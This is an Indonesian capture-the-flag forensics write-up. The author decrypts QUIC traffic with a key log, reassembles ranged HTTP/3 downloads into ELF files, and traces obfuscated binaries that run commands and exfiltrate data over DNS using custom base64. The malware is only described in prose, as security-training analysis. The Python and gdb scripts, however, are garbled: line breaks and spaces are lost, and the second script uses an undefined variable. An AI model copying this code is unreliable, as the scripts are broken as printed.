Diberikan file pcap dan isinya adalah QUIC protocol, di awal saya mencoba mencari referensi untuk melakukan crack terhadap enkripsinya dengan asumsi menggunakan parameter yang lemah dan berakhir tidak menemukan apa-apa. Karena sudah menyerah, tiba-tiba kepikiran untuk ls -la dan ternyata ada .ssl.log
Lanjut analisis dengan load ssl.log pada preferences>protocols>tls>pms log filename
Selanjutnya adalah melakukan analisis terhadap HTTP3
Pada frame ke 10 bisa dilihat terdapat request stream dan pada header terdapat path dan range, range mengindikasikan bytes range yang didownload, semisal 0-1024 maka 1024 bytes pertama akan didownload.
Pada frame ke 13 bisa dilihat terdapat response yang mengindikasikan pemberian data untuk byte 4608-4655 dari file/data yang direquest. Jadi disini kita mengetahui bahwa terdapat proses download secara partial yang dilakukan oleh client. Idenya adalah melakukan parsing untuk semua yang didownload dan menggabungkannya. Namun ada beberapa masalah dalam melakukannya
Ada banyak file yang didownload dan semua dilakukan secara partial
Request dan response untuk download tidak berurutan
Jadi semisal download file a sebesar 0-1024 pada frame 10, maka pada frame 11 download file b sebesar 2048-2560
Besar byte range tidak tetap
Misal ada yang 0-563 untuk file a, ada yang 0-572 untuk file b. Tetapi untuk block selanjutnya untuk file a rangenya 512-1234
Hasil export dari wireshark ke json bermasalah
http3.headers.header (key sama), jadi kalau diload sebagai json akan diambil nilai yang paling terakhir di python
Jadi disini kita tidak bisa dengan mudah melakukan dump terhadap filenya dengan memanfaatkan export json. Disini saya melakukan pendekatan untuk parsingnya sebagai berikut
Mencari nilai unik yang bisa dijadikan sebagai key untuk setiap downloadnya
Path adalah nilai yang tepat
Mencari paket yang memberikan respons berupa n byte dari file dan mencari nama untuk file tersebut
Http3.frame_type = 0x0000000000000000 -> untuk tipe response
Http3.frame_payload -> untuk data yang diberikan
udp.port dan quic.connection.number dapat dijadikan identifier untuk menemukan path dari response yang ditemukan
Berikut script yang saya gunakan untuk melakukan dump
deffind_index(target,data):for i inrange(len(data)):if target in data[i]:return ideffind_all_index(target,data): list_index = []for i inrange(len(data)):if target in data[i]: list_index.append(i)return list_indexdeffind_range(index,data):for i inrange(min(index +80,len(data) -1) , index -500, -1):if'"http3.headers.header.value": "bytes 'in data[i]: tmp = data[i].split("bytes ")[-1].split("-")returnint(tmp[0]),int(tmp[1].split("/")[0])if'"http3.stream": {'in data[i]:return-1,-1deffind_path(index,data,cn):iffind_connection_after(index, data)!= cn:return-1for i inrange(index, index +200):if'"http3.headers.path": "'in data[i]:return data[i].split('": "')[1].split('"')[0][1:]if'"_index": "packets-2024-08-22",'in data[i]:return-1deffind_udp_port(index,data):for i inrange(index -1, index -1000, -1):if'"udp.port": "'in data[i]:returnint(data[i].split('": "')[1].split('"')[0])if'"udp": {'in data[i]:return-1deffind_connection(index,data):for i inrange(index -1, index -1000, -1):if'"quic.connection.number": "'in data[i]:returnint(data[i].split('": "')[1].split('"')[0])if'"quic": {'in data[i]:return-1deffind_connection_after(index,data):for i inrange(index, index +50):if'"quic.connection.number": "'in data[i]:returnint(data[i].split('": "')[1].split('"')[0])if'"quic.frame": {'in data[i]:return-1import jsonf =open("dump.json", "r").read()list_f = f.split("\n")data = json.loads(f)dict={}for i in data:if"http3"in i["_source"]["layers"]:if"http3.stream"in i["_source"]["layers"]["http3"]:if"http3.frame"in i["_source"]["layers"]["http3"]["http3.stream"]:if i["_source"]["layers"]["http3"]["http3.stream"]["http3.frame"]["http3.frame_type"] =="0x0000000000000000": fp = i["_source"]["layers"]["http3"]["http3.stream"]["http3.frame"]["http3.frame_payload"] fmt =f'"http3.frame_payload": "{fp}"' index =find_index(fmt, list_f) cn =find_connection(index, list_f) start, end =find_range(index, list_f) udp_port =find_udp_port(index, list_f) tmp_fmt =f'"udp.port": "{udp_port}"' list_index =find_all_index(tmp_fmt, list_f)for j in list_index: ret =find_path(j, list_f, cn)if ret !=-1:breakif ret ==-1:print("what?", list_index, tmp_fmt, index)exit() path = retif start !=-1:if path notindict: dict[path]={}iff"{start}_{end}"in dict[path]:print("duplicate", dict[path][f"{start}_{end}"])exit() dict[path][f"{start}_{end}"] =bytes.fromhex(''.join(fp.split(":")))else:continuefor i indict: tmp = [b""for _ inrange(2012)]for j in dict[i]: start, end =map(int, j.split("_"))assert start %512==0 tmp[start //512]= dict[i][j][:512] out =open(f"dumps_tmp/{i}", "wb") out.write(b''.join(tmp))
Ketika lomba, setelah melakukan dump saya melakukan pengecekan apakah semua path/file sudah berhasil didump atau tidak. Ternyata tidak, terdapat satu file yang tidak ada yaitu KXPrUXBemVsOs0EJ1gi1. Dimana file tersebut adalah file terbesar di pcap, jadi saya sedikit mengubah kode diatas untuk membuatnya bisa melakukan dump terhadap KXPrUXBemVsOs0EJ1gi1
deffind_index(target,data):for i inrange(len(data)):if target in data[i]:return ideffind_all_index(target,data): list_index = []for i inrange(len(data)):if target in data[i]: list_index.append(i)return list_indexdeffind_path(index,data,cn):iffind_connection_after(index, data)!= cn:return-1,-1,-1 found_path =-1for i inrange(index, index +200):if'"http3.headers.path": "'in data[i]: found_path = data[i].split('": "')[1].split('"')[0][1:]breakif'"_index": "packets-2024-08-22",'in data[i]: found_path =-1breakfor i inrange(index, index +200):if'http3.headers.header.value": "bytes='in data[i]: start, end =map(int, data[i].split('bytes=')[1].split('"')[0].split("-"))breakif'"_index": "packets-2024-08-22",'in data[i]: start, end =-1,-1breakreturn found_path, start, enddeffind_udp_port(index,data):for i inrange(index -1, index -1000, -1):if'"udp.port": "'in data[i]:returnint(data[i].split('": "')[1].split('"')[0])if'"udp": {'in data[i]:return-1deffind_connection(index,data):for i inrange(index -1, index -1000, -1):if'"quic.connection.number": "'in data[i]:returnint(data[i].split('": "')[1].split('"')[0])if'"quic": {'in data[i]:return-1deffind_connection_after(index,data):for i inrange(index, index +50):if'"quic.connection.number": "'in data[i]:returnint(data[i].split('": "')[1].split('"')[0])if'"quic.frame": {'in data[i]:return-1import jsonf =open("dump.json", "r").read()list_f = f.split("\n")data = json.loads(f)dict={}for i in data:if"http3"in i["_source"]["layers"]:if"http3.stream"in i["_source"]["layers"]["http3"]:if"http3.frame"in i["_source"]["layers"]["http3"]["http3.stream"]:if i["_source"]["layers"]["http3"]["http3.stream"]["http3.frame"]["http3.frame_type"] =="0x0000000000000000": fp = i["_source"]["layers"]["http3"]["http3.stream"]["http3.frame"]["http3.frame_payload"] fmt =f'"http3.frame_payload": "{fp}"' fp_len =len(bytes.fromhex(''.join(fp.split(":")))) index =find_index(fmt, list_f) cn =find_connection(index, list_f) udp_port =find_udp_port(index, list_f) tmp_fmt =f'"udp.port": "{udp_port}"' list_index =find_all_index(tmp_fmt, list_f)for j in list_index: ret, start, end =find_path(j, list_f, cn)if ret !=-1:breakif ret ==-1:print("what?", list_index, tmp_fmt, index)exit()if ret =="KXPrUXBemVsOs0EJ1gi1":print("found", fp_len, start, end)else:continue path = retif start !=-1:if path notindict: dict[path]={}iff"{start}_{end}"in dict[path]:print("duplicate", dict[path][f"{start}_{end}"])exit() dict[path][f"{start}_{end}"] =bytes.fromhex(''.join(fp.split(":")))else:continuefor i in d: tmp = [b""for _ inrange(503)]for j in d[i]: start, end =map(int, j.split("_")) tmp[start //2048]= d[i][j][:2048] out =open(f"dumps_tmp/{i}", "wb") out.write(b''.join(tmp))
Semua file yang didump terlihat sebagai valid ELF file
Lakukan analisis terhadap salah satu file yaitu 0AL893Ky
Dari hasil disasm terlihat bahwa elf tersebut diobfuscate, dari debugging diketahui bahwa elf tersebut akan melakukan xor untuk pada instruksi setelahnya dan kemudian mengubah xor key berdasarkan nilai yang dixor sebelumnya (ditambah). Setelah itu juga step yang sama (diobfuscate 2 kali) dan terakhir akan dijalankan execve dengan syscall. Disini kami melakukan otomasi untuk dump command yang dijalankan melalui execve
#!/usr/bin/python3import jsonimport globclassSolverEquation(gdb.Command):def__init__ (self):super(SolverEquation, self).__init__ ("solve-equation",gdb.COMMAND_OBSCURE)definvoke (self,arg,from_tty): d ={}for fn in glob.glob("bin/*"): gdb.execute(f"file {fn}") zz =open("xx.txt", "a") zz.write(f"FILENAME_DEBUG: {fn}\n") zz.close( ) gdb.execute("set print repeats 0") gdb.execute("del") gdb.execute("start") arch = gdb.selected_frame().architecture()for i inrange(10): gdb.execute("si") current_pc =addr2num(gdb.selected_frame().read_register("pc")) disa = arch.disassemble(current_pc)[0]if"loop"in disa["asm"]: gdb.execute("si") gdb.execute(f"b *{hex(disa['addr'] +2)}")break gdb.execute("c") gdb.execute("del")for i inrange(10): gdb.execute("si") current_pc =addr2num(gdb.selected_frame().read_register("pc")) disa = arch.disassemble(current_pc)[0]if"loop"in disa["asm"]: gdb.execute("si") gdb.execute(f"b *{hex(disa['addr'] +2)}")break gdb.execute("c")for i inrange(20): gdb.execute("si") current_pc =addr2num(gdb.selected_frame().read_register("pc")) disa = arch.disassemble(current_pc)[0]if"syscall"in disa["asm"]: addr =parse(gdb.execute("x/wx $rsp+0x10", to_string=True))[0] d[fn.split("/")[-1]]=parse_str(gdb.execute(f"x/s {hex(addr)}", to_string=True))[0]break gdb.execute("kill")print(d)withopen('out.txt', 'w')as f: f.write(json.dumps(d))defparse(f): f = f.split("\n") result = []for i in f: tmp = i.split("\t")for j inrange(1,len(tmp)): result.append(int(tmp[j],16))return resultdefparse_str(f): f = f.split("\n") result = []for i in f: tmp = i.split("\t")for j inrange(1,len(tmp)): result.append(tmp[j])return resultdefaddr2num(addr):try:returnint(addr)except:returnlong(addr)SolverEquation()
Dari xx.txt diketahui terdapat error untuk file QfkAFOiM. Jadi kami menggunakan script untuk KXPrUXBemVsOs0EJ1gi1 pada file QfkAFOiM dengan mengganti string saja dan size saat dump. Sekarang file QfkAFOiM valid dan lanjut otomasi dengan gdb script diatas. Selanjutnya kita mendapatkan command yang dieksekusi dan itu terlihat diobfuscate. Cara paling mudah untuk deobfsucate adalah dengan melakukan echo untuk command yang diexecute, berikut script deobfuscate kami
Dapat dilihat bahwa command yang dijalankan adalah seperti ./KXPrUXBemVsOs0EJ1gi1 JW8ib6vSJzoCJL0Q3zuYIPDRaWEeAqfL92FebTGQAq7TaWDNH60RAqfil2FxvVDGDg8 nF2dfmWkaEKs7D9A8pMqUt6VvJb3uHIliCxgOGzPhZBwy1YNQoLeRXT5r0j4cS OY6kSmMw4poq0xEF7RcLbUVhAeznilTI.ZRCf6nVAF9uWOgt1x3MjkGEYzpalBNKi yang mana KXPrUXBemVsOs0EJ1gi1 merupakan file elf yang kita dump juga. Lakukan decompile untuk KXPrUXBemVsOs0EJ1gi1 dengan IDA
Fungsi e
Base64 encode dengan custom charset (2nd arg)
Fungsi d
Base64 decode dengan custom charset (2nd arg)
Fungsi r
Eksekusi command
Fungsi q
Query dns ke server
Jadi prosesnya adalah
Decode command
Query ke server
Eksekusi command
Encode command 2 kali dengan charset berbeda
Query ke server
Dari hasil decode diketahui bahwa terdapat beberapa command yang berbeda tapi untuk exfil flag menggunakan command dd dan base64, berikut script yang kami gunakan untuk mendapatkan flag